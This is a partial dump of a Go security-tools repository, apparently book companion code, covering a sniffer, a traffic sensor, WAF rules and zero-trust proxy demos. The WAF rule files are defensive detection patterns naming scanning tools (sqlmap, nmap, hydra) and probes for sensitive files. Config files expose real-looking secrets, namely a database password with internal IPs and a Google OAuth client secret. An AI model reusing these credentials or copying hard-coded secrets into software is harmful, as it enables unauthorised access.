-------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /sniffer/webspy/.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | # Datasource local storage ignored files 5 | /dataSources/ 6 | /dataSources.local.xml 7 | # Editor-based HTTP Client requests 8 | /httpRequests/ 9 | -------------------------------------------------------------------------------- /sniffer/webspy/.idea/codeStyles/codeStyleConfig.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | -------------------------------------------------------------------------------- /sniffer/webspy/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | -------------------------------------------------------------------------------- /sniffer/webspy/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /sniffer/webspy/.idea/thriftCompiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /sniffer/webspy/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /sniffer/webspy/.idea/webspy.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /sniffer/webspy/go.mod: -------------------------------------------------------------------------------- 1 | module sec-dev-in-action-src/sniffer/webspy 2 | 3 | go 1.13 4 | 5 | require ( 6 | github.com/google/gopacket v1.1.17 7 | github.com/gorilla/websocket v1.4.2 8 | github.com/malfunkt/arpfox v0.9.9 9 | github.com/malfunkt/iprange v0.9.0 10 | github.com/mattn/go-colorable v0.1.6 // indirect 11 | github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect 12 | github.com/onsi/ginkgo v1.12.1 // indirect 13 | github.com/onsi/gomega v1.10.0 // indirect 14 | github.com/sirupsen/logrus v1.6.0 15 | github.com/urfave/cli v1.22.4 16 | github.com/x-cray/logrus-prefixed-formatter v0.5.2 17 | ) 18 | -------------------------------------------------------------------------------- /sniffer/webspy/logger/log.go: -------------------------------------------------------------------------------- 1 | package logger 2 | 3 | import ( 4 | "github.com/sirupsen/logrus" 5 | "github.com/x-cray/logrus-prefixed-formatter" 6 | ) 7 | 8 | var ( 9 | Log *logrus.Entry 10 | ) 11 | 12 | func init() { 13 | logger := logrus.New() 14 | logger.Formatter = new(prefixed.TextFormatter) 15 | logger.Level = logrus.InfoLevel 16 | Log = logger.WithFields(logrus.Fields{"prefix": "webspy"}) 17 | } 18 | -------------------------------------------------------------------------------- /sniffer/webspy/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "os" 5 | "runtime" 6 | 7 | "github.com/urfave/cli" 8 | 9 | "sec-dev-in-action-src/sniffer/webspy/cmd" 10 | ) 11 | 12 | func init() { 13 | runtime.GOMAXPROCS(runtime.NumCPU()) 14 | } 15 | 16 | func main() { 17 | app := cli.NewApp() 18 | app.Name = "webSpy" 19 | app.Author = "netxfly" 20 | app.Email = "x@xsec.io" 21 | app.Version = "2020/5/16" 22 | app.Usage = "webSpy, Support local and arp spoof mode" 23 | app.Commands = []cli.Command{cmd.Start} 24 | app.Flags = append(app.Flags, cmd.Start.Flags...) 25 | _ = app.Run(os.Args) 26 | } 27 | -------------------------------------------------------------------------------- /sniffer/webspy/models/http.go: -------------------------------------------------------------------------------- 1 | package models 2 | 3 | import ( 4 | "net/http" 5 | "net/url" 6 | ) 7 | 8 | type HttpReq struct { 9 | Host string 10 | Ip string 11 | Client string 12 | Port string 13 | URL *url.URL 14 | Header http.Header 15 | RequestURI string 16 | Method string 17 | ReqParameters url.Values 18 | } 19 | 20 | func NewHttpReq(req *http.Request, client string, ip string, port string) (httpReq *HttpReq, err error) { 21 | err = req.ParseForm() 22 | return &HttpReq{Host: req.Host, Client: client, Ip: ip, Port: port, URL: req.URL, Header: req.Header, 23 | RequestURI: req.RequestURI, Method: req.Method, ReqParameters: req.Form}, err 24 | } 25 | -------------------------------------------------------------------------------- /sniffer/webspy/vars/vars.go: -------------------------------------------------------------------------------- 1 | package vars 2 | 3 | import "sync" 4 | 5 | var ( 6 | HttpHost = "127.0.0.1" 7 | HttpPort = 4000 8 | 9 | Data = sync.Pool{} 10 | ) 11 | -------------------------------------------------------------------------------- /traffic-analysis/.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /workspace.xml 3 | -------------------------------------------------------------------------------- /traffic-analysis/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | -------------------------------------------------------------------------------- /traffic-analysis/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /traffic-analysis/.idea/thriftCompiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /traffic-analysis/.idea/traffic-analysis.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /traffic-analysis/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /traffic-analysis/sensor/.idea/codeStyles/codeStyleConfig.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | -------------------------------------------------------------------------------- /traffic-analysis/sensor/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /traffic-analysis/sensor/.idea/sensor.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /traffic-analysis/sensor/.idea/thriftCompiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /traffic-analysis/sensor/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /traffic-analysis/sensor/conf/app.ini: -------------------------------------------------------------------------------- 1 | ; Sensor global config 2 | DEVICE_NAME = en0 3 | DEBUG_MODE = true 4 | FILTER_RULE = tcp or (udp and dst port 53) 5 | 6 | [server] 7 | API_URL = http://10.211.55.3:8080 8 | API_KEY = xsec 9 | 10 | -------------------------------------------------------------------------------- /traffic-analysis/sensor/go.mod: -------------------------------------------------------------------------------- 1 | module sec-dev-in-action-src/traffic-analysis/sensor 2 | 3 | go 1.13 4 | 5 | require ( 6 | github.com/google/gopacket v1.1.17 7 | github.com/mattn/go-colorable v0.1.6 // indirect 8 | github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect 9 | github.com/onsi/ginkgo v1.12.0 // indirect 10 | github.com/onsi/gomega v1.9.0 // indirect 11 | github.com/sirupsen/logrus v1.5.0 12 | github.com/smartystreets/goconvey v1.6.4 // indirect 13 | github.com/urfave/cli v1.22.3 14 | github.com/x-cray/logrus-prefixed-formatter v0.5.2 15 | gopkg.in/ini.v1 v1.55.0 16 | ) 17 | -------------------------------------------------------------------------------- /traffic-analysis/server/.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | # Datasource local storage ignored files 5 | /dataSources/ 6 | /dataSources.local.xml 7 | # Editor-based HTTP Client requests 8 | /httpRequests/ 9 | -------------------------------------------------------------------------------- /traffic-analysis/server/.idea/codeStyles/codeStyleConfig.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | -------------------------------------------------------------------------------- /traffic-analysis/server/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | -------------------------------------------------------------------------------- /traffic-analysis/server/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /traffic-analysis/server/.idea/server.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /traffic-analysis/server/.idea/thriftCompiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /traffic-analysis/server/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /traffic-analysis/server/conf/app.ini: -------------------------------------------------------------------------------- 1 | HTTP_HOST = 2 | HTTP_PORT = 8080 3 | 4 | DEBUG_MODE = TRUE 5 | SECRET_KEY = xsec 6 | 7 | [EVIL_IPS] 8 | API_URL = "http://www.xsec.io:8000" 9 | 10 | [database] 11 | DB_TYPE = mongodb 12 | DB_HOST = 127.0.0.1 13 | DB_PORT = 27017 14 | DB_USER = xsec-traffic 15 | DB_PASS = xsec-traffic 16 | DB_NAME = xsec-traffic 17 | -------------------------------------------------------------------------------- /traffic-analysis/server/go.mod: -------------------------------------------------------------------------------- 1 | module sec-dev-in-action-src/traffic-analysis/server 2 | 3 | go 1.13 4 | 5 | require ( 6 | github.com/go-macaron/cache v0.0.0-20200308120124-40b1c1562761 7 | github.com/go-macaron/csrf v0.0.0-20200326154246-7105d8a98f1d 8 | github.com/go-macaron/session v0.0.0-20200308113048-b7fb93714c69 9 | github.com/mattn/go-colorable v0.1.6 // indirect 10 | github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect 11 | github.com/sirupsen/logrus v1.5.0 12 | github.com/urfave/cli v1.22.3 13 | github.com/x-cray/logrus-prefixed-formatter v0.5.2 14 | gopkg.in/ini.v1 v1.55.0 15 | gopkg.in/macaron.v1 v1.3.5 16 | gopkg.in/mgo.v2 v2.0.0-20190816093944-a6b53ec6cb22 // indirect 17 | upper.io/db.v3 v3.6.4+incompatible 18 | ) 19 | -------------------------------------------------------------------------------- /waf/.gitignore: -------------------------------------------------------------------------------- 1 | .idea 2 | .vscode 3 | server 4 | app.conf 5 | *.iml 6 | -------------------------------------------------------------------------------- /waf/x-waf-admin/.gitattributes: -------------------------------------------------------------------------------- 1 | *.js linguist-language=golang 2 | *.css linguist-language=golang 3 | *.html linguist-language=golang 4 | -------------------------------------------------------------------------------- /waf/x-waf-admin/conf/app.ini: -------------------------------------------------------------------------------- 1 | RUN_MODE = dev 2 | ;RUN_MODE = prod 3 | 4 | [server] 5 | HTTP_PORT = 5000 6 | API_KEY = xsec.io||secdevops.cn 7 | NGINX_BIN = /usr/local/openresty/nginx/sbin/nginx 8 | NGINX_VHOSTS = /usr/local/openresty/nginx/conf/vhosts/ 9 | API_SERVERS = 127.0.0.1, 192.168.31.24 10 | 11 | [database] 12 | USER = waf-admin 13 | PASSWD = passw0rd 14 | HOST = 127.0.0.1:3306 15 | NAME = waf 16 | 17 | [waf] 18 | RULE_PATH = /usr/local/openresty/nginx/conf/x-waf/rules/ 19 | -------------------------------------------------------------------------------- /waf/x-waf-admin/public/fonts/glyphicons-halflings-regular.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/waf/x-waf-admin/public/fonts/glyphicons-halflings-regular.eot -------------------------------------------------------------------------------- /waf/x-waf-admin/public/fonts/glyphicons-halflings-regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/waf/x-waf-admin/public/fonts/glyphicons-halflings-regular.ttf -------------------------------------------------------------------------------- /waf/x-waf-admin/public/fonts/glyphicons-halflings-regular.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/waf/x-waf-admin/public/fonts/glyphicons-halflings-regular.woff -------------------------------------------------------------------------------- /waf/x-waf-admin/public/js/easypiechart-data.js: -------------------------------------------------------------------------------- 1 | $(function() { 2 | $('#easypiechart-teal').easyPieChart({ 3 | scaleColor: false, 4 | barColor: '#1ebfae' 5 | }); 6 | }); 7 | 8 | $(function() { 9 | $('#easypiechart-orange').easyPieChart({ 10 | scaleColor: false, 11 | barColor: '#ffb53e' 12 | }); 13 | }); 14 | 15 | $(function() { 16 | $('#easypiechart-red').easyPieChart({ 17 | scaleColor: false, 18 | barColor: '#f9243f' 19 | }); 20 | }); 21 | 22 | $(function() { 23 | $('#easypiechart-blue').easyPieChart({ 24 | scaleColor: false, 25 | barColor: '#30a5ff' 26 | }); 27 | }); 28 | 29 | $('#calendar').datepicker({ 30 | }); 31 | -------------------------------------------------------------------------------- /waf/x-waf-admin/public/tables/data2.json: -------------------------------------------------------------------------------- 1 | [ 2 | { 3 | "id": 0, 4 | "name": "Item 0", 5 | "price": "$0" 6 | }, 7 | { 8 | "id": 1, 9 | "name": "Item 1", 10 | "price": "$1" 11 | }, 12 | { 13 | "id": 2, 14 | "name": "Item 2", 15 | "price": "$2" 16 | }, 17 | { 18 | "id": 3, 19 | "name": "Item 3", 20 | "price": "$3" 21 | }, 22 | { 23 | "id": 4, 24 | "name": "Item 4", 25 | "price": "$4" 26 | }, 27 | { 28 | "id": 5, 29 | "name": "Item 5", 30 | "price": "$5" 31 | }, 32 | { 33 | "id": 6, 34 | "name": "Item 6", 35 | "price": "$6" 36 | } 37 | ] -------------------------------------------------------------------------------- /waf/x-waf-admin/routers/index.go: -------------------------------------------------------------------------------- 1 | package routers 2 | 3 | import ( 4 | "github.com/go-macaron/csrf" 5 | 6 | "gopkg.in/macaron.v1" 7 | ) 8 | 9 | func Index(ctx *macaron.Context) { 10 | ctx.Redirect("/login/") 11 | //return 403, "forbidden by nginx" 12 | //ctx.HTML(200, "index") 13 | } 14 | 15 | func LoginIndex(ctx *macaron.Context, x csrf.CSRF) { 16 | ctx.Data["csrf_token"] = x.GetToken() 17 | ctx.HTML(200, "login") 18 | } 19 | -------------------------------------------------------------------------------- /waf/x-waf-admin/sql/tmp/app.ini: -------------------------------------------------------------------------------- 1 | RUN_MODE = dev 2 | ;RUN_MODE = prod 3 | 4 | [server] 5 | HTTP_PORT = 5000 6 | API_KEY = xsec.io||secdevops.cn 7 | NGINX_BIN = /usr/local/openresty/nginx/sbin/nginx 8 | NGINX_VHOSTS = /usr/local/openresty/nginx/conf/vhosts/ 9 | API_SERVERS = 127.0.0.1, 10.236.70.56 10 | 11 | [database] 12 | USER = lottery 13 | PASSWD = xiaomisec.c0m2016$ 14 | HOST = 10.99.184.139:3306 15 | NAME = lottery 16 | 17 | [waf] 18 | RULE_PATH = /usr/local/openresty/nginx/conf/x-waf/rules/ 19 | -------------------------------------------------------------------------------- /waf/x-waf-admin/templates/error.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | login 6 | 7 | 8 | 9 | 13 | 14 | -------------------------------------------------------------------------------- /waf/x-waf/.gitignore: -------------------------------------------------------------------------------- 1 | .idea 2 | .vscode 3 | server 4 | app.conf 5 | *.iml 6 | -------------------------------------------------------------------------------- /waf/x-waf/rules/blackip.rule: -------------------------------------------------------------------------------- 1 | [{"Id":2,"RuleType":"blackip","RuleItem":"8.8.8.8"},{"Id":3,"RuleType":"blackip","RuleItem":"1.1.1.1"}] -------------------------------------------------------------------------------- /waf/x-waf/rules/url.rule: -------------------------------------------------------------------------------- 1 | [{"Id":66,"RuleType":"url","RuleItem":"\\.(htaccess|bash_history)"},{"Id":67,"RuleType":"url","RuleItem":"\\.(bak|inc|old|mdb|sql|backup|java|class|tgz|gz|tar|zip)$"},{"Id":68,"RuleType":"url","RuleItem":"(phpmyadmin|jmx-console|admin-console|jmxinvokerservlet)"},{"Id":69,"RuleType":"url","RuleItem":"java\\.lang"},{"Id":70,"RuleType":"url","RuleItem":"\\.(svn|git|sql|bak)\\/"},{"Id":71,"RuleType":"url","RuleItem":"/(attachments|upimg|images|css|uploadfiles|html|uploads|templets|static|template|data|inc|forumdata|upload|includes|cache|avatar)/(\\\\w+).(php|jsp)"}] -------------------------------------------------------------------------------- /waf/x-waf/rules/useragent.rule: -------------------------------------------------------------------------------- 1 | [{"Id":72,"RuleType":"useragent","RuleItem":"(HTTrack|harvest|audit|dirbuster|pangolin|nmap|sqln|-scan|hydra|Parser|libwww|BBBike|sqlmap|w3af|owasp|Nikto|fimap|havij|PycURL|zmeu|BabyKrokodil|netsparker|httperf|bench)"}] -------------------------------------------------------------------------------- /waf/x-waf/rules/whiteUrl.rule: -------------------------------------------------------------------------------- 1 | [{"Id":73,"RuleType":"whiteUrl","RuleItem":"/news/"}] -------------------------------------------------------------------------------- /waf/x-waf/rules/whiteip.rule: -------------------------------------------------------------------------------- 1 | [{"Id":74,"RuleType":"whiteip","RuleItem":"8.8.8.8"}] -------------------------------------------------------------------------------- /zero-trust/cel-test/.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | # Datasource local storage ignored files 5 | /dataSources/ 6 | /dataSources.local.xml 7 | # Editor-based HTTP Client requests 8 | /httpRequests/ 9 | -------------------------------------------------------------------------------- /zero-trust/cel-test/.idea/cel-test.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /zero-trust/cel-test/.idea/codeStyles/codeStyleConfig.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | -------------------------------------------------------------------------------- /zero-trust/cel-test/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | -------------------------------------------------------------------------------- /zero-trust/cel-test/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /zero-trust/cel-test/.idea/thriftCompiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /zero-trust/cel-test/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /zero-trust/cel-test/go.mod: -------------------------------------------------------------------------------- 1 | module sec-dev-in-action-src/cel-test 2 | 3 | go 1.13 4 | 5 | require ( 6 | github.com/Knetic/govaluate v3.0.0+incompatible // indirect 7 | github.com/google/cel-go v0.5.1 8 | ) 9 | -------------------------------------------------------------------------------- /zero-trust/middleware/.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | # Datasource local storage ignored files 5 | /dataSources/ 6 | /dataSources.local.xml 7 | # Editor-based HTTP Client requests 8 | /httpRequests/ 9 | -------------------------------------------------------------------------------- /zero-trust/middleware/.idea/middleware.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /zero-trust/middleware/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | -------------------------------------------------------------------------------- /zero-trust/middleware/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /zero-trust/middleware/.idea/thriftCompiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /zero-trust/middleware/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /zero-trust/middleware/go.mod: -------------------------------------------------------------------------------- 1 | module sec-dev-in-action-src/zero-trust/middleware 2 | 3 | go 1.13 4 | 5 | require github.com/gorilla/mux v1.7.4 6 | -------------------------------------------------------------------------------- /zero-trust/middleware/go.sum: -------------------------------------------------------------------------------- 1 | github.com/gorilla/mux v1.7.4 h1:VuZ8uybHlWmqV03+zRzdwKL4tUnIp1MAQtp1mIFE1bc= 2 | github.com/gorilla/mux v1.7.4/go.mod h1:DVbg23sWSpFRCP0SfiEN6jmj59UnW/n46BH5rLB71So= 3 | -------------------------------------------------------------------------------- /zero-trust/reverse-proxy-demo/.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | # Datasource local storage ignored files 5 | /dataSources/ 6 | /dataSources.local.xml 7 | # Editor-based HTTP Client requests 8 | /httpRequests/ 9 | -------------------------------------------------------------------------------- /zero-trust/reverse-proxy-demo/.idea/codeStyles/codeStyleConfig.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | -------------------------------------------------------------------------------- /zero-trust/reverse-proxy-demo/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | -------------------------------------------------------------------------------- /zero-trust/reverse-proxy-demo/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /zero-trust/reverse-proxy-demo/.idea/reverse-proxy-demo.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /zero-trust/reverse-proxy-demo/.idea/thriftCompiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /zero-trust/reverse-proxy-demo/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /zero-trust/zero-trust-demo/.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | # Datasource local storage ignored files 5 | /dataSources/ 6 | /dataSources.local.xml 7 | # Editor-based HTTP Client requests 8 | /httpRequests/ 9 | -------------------------------------------------------------------------------- /zero-trust/zero-trust-demo/.idea/codeStyles/codeStyleConfig.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | -------------------------------------------------------------------------------- /zero-trust/zero-trust-demo/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | -------------------------------------------------------------------------------- /zero-trust/zero-trust-demo/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /zero-trust/zero-trust-demo/.idea/thriftCompiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /zero-trust/zero-trust-demo/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /zero-trust/zero-trust-demo/.idea/zero-trust-demo.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /zero-trust/zero-trust-demo/go.mod: -------------------------------------------------------------------------------- 1 | module sec-dev-in-action-src/zero-trust/zero-trust-demo 2 | 3 | go 1.13 4 | 5 | require ( 6 | github.com/dgrijalva/jwt-go v3.2.0+incompatible // indirect 7 | github.com/labstack/echo v3.3.10+incompatible 8 | github.com/labstack/gommon v0.3.0 // indirect 9 | github.com/stretchr/testify v1.6.1 // indirect 10 | github.com/valyala/fasttemplate v1.2.1 // indirect 11 | golang.org/x/crypto v0.0.0-20201012173705-84dcc777aaee // indirect 12 | ) 13 | -------------------------------------------------------------------------------- /zero-trust/zero-trust-proxy/.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | # Datasource local storage ignored files 5 | /dataSources/ 6 | /dataSources.local.xml 7 | # Editor-based HTTP Client requests 8 | /httpRequests/ 9 | -------------------------------------------------------------------------------- /zero-trust/zero-trust-proxy/.idea/codeStyles/codeStyleConfig.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | -------------------------------------------------------------------------------- /zero-trust/zero-trust-proxy/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | -------------------------------------------------------------------------------- /zero-trust/zero-trust-proxy/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /zero-trust/zero-trust-proxy/.idea/thriftCompiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /zero-trust/zero-trust-proxy/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /zero-trust/zero-trust-proxy/.idea/zero-trust-proxy.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /zero-trust/zero-trust-proxy/credentials.json: -------------------------------------------------------------------------------- 1 | { 2 | "web": { 3 | "client_id": "738990988842-t1spl7avj5efq0djm72jlm05kds2qcqg.apps.googleusercontent.com", 4 | "project_id": "proven-reality-186304", 5 | "auth_uri": "https://accounts.google.com/o/oauth2/auth", 6 | "token_uri": "https://oauth2.googleapis.com/token", 7 | "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs", 8 | "client_secret": "L955qBAOflsJikNb3pUVYO7L", 9 | "javascript_origins": [ 10 | "https://proxy.sec.lu" 11 | ] 12 | } 13 | } -------------------------------------------------------------------------------- /zero-trust/zero-trust-proxy/go.mod: -------------------------------------------------------------------------------- 1 | module sec-dev-in-action-src/zero-trust/zero-trust-proxy 2 | 3 | go 1.13 4 | 5 | require ( 6 | github.com/dgrijalva/jwt-go v3.2.0+incompatible 7 | github.com/google/cel-go v0.5.1 8 | github.com/gorilla/mux v1.7.4 9 | github.com/mattn/go-colorable v0.1.6 // indirect 10 | github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect 11 | github.com/pires/go-proxyproto v0.2.0 // indirect 12 | github.com/sirupsen/logrus v1.6.0 13 | github.com/urfave/cli v1.22.4 14 | github.com/x-cray/logrus-prefixed-formatter v0.5.2 15 | golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d 16 | google.golang.org/genproto v0.0.0-20200528191852-705c0b31589b 17 | gopkg.in/yaml.v2 v2.3.0 18 | ) 19 | -------------------------------------------------------------------------------- /zero-trust/zero-trust-proxy/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "os" 5 | "runtime" 6 | 7 | "github.com/urfave/cli" 8 | 9 | "sec-dev-in-action-src/zero-trust/zero-trust-proxy/cmd" 10 | ) 11 | 12 | func main() { 13 | app := cli.NewApp() 14 | app.Usage = "zero-trust-proxy-demo" 15 | app.Version = "0.1" 16 | app.Author = "netxfly" 17 | app.Email = "x@xsec.io" 18 | app.Commands = []cli.Command{cmd.Serve} 19 | app.Flags = append(app.Flags, cmd.Serve.Flags...) 20 | _ = app.Run(os.Args) 21 | } 22 | 23 | func init() { 24 | runtime.GOMAXPROCS(runtime.NumCPU()) 25 | } 26 | -------------------------------------------------------------------------------- /zero-trust/zero-trust-proxy/vars/vars.go: -------------------------------------------------------------------------------- 1 | package vars 2 | 3 | import ( 4 | "crypto/tls" 5 | 6 | "sec-dev-in-action-src/zero-trust/zero-trust-proxy/config" 7 | ) 8 | 9 | const ( 10 | CookieName = "secProxy_Authorization" 11 | HeaderName = "secProxy-Jwt-Assertion" 12 | ) 13 | 14 | var ( 15 | ConfigPath string 16 | ConfigFile = "config.yaml" 17 | Conf *config.Config 18 | TlsConfig *tls.Config 19 | DebugMode bool 20 | CurDir string 21 | CaKey string 22 | CaCert string 23 | CallbackPath = "/.xsec/callback" 24 | LogoutPath = "/.xsec/logout" 25 | ) 26 | --------------------------------------------------------------------------------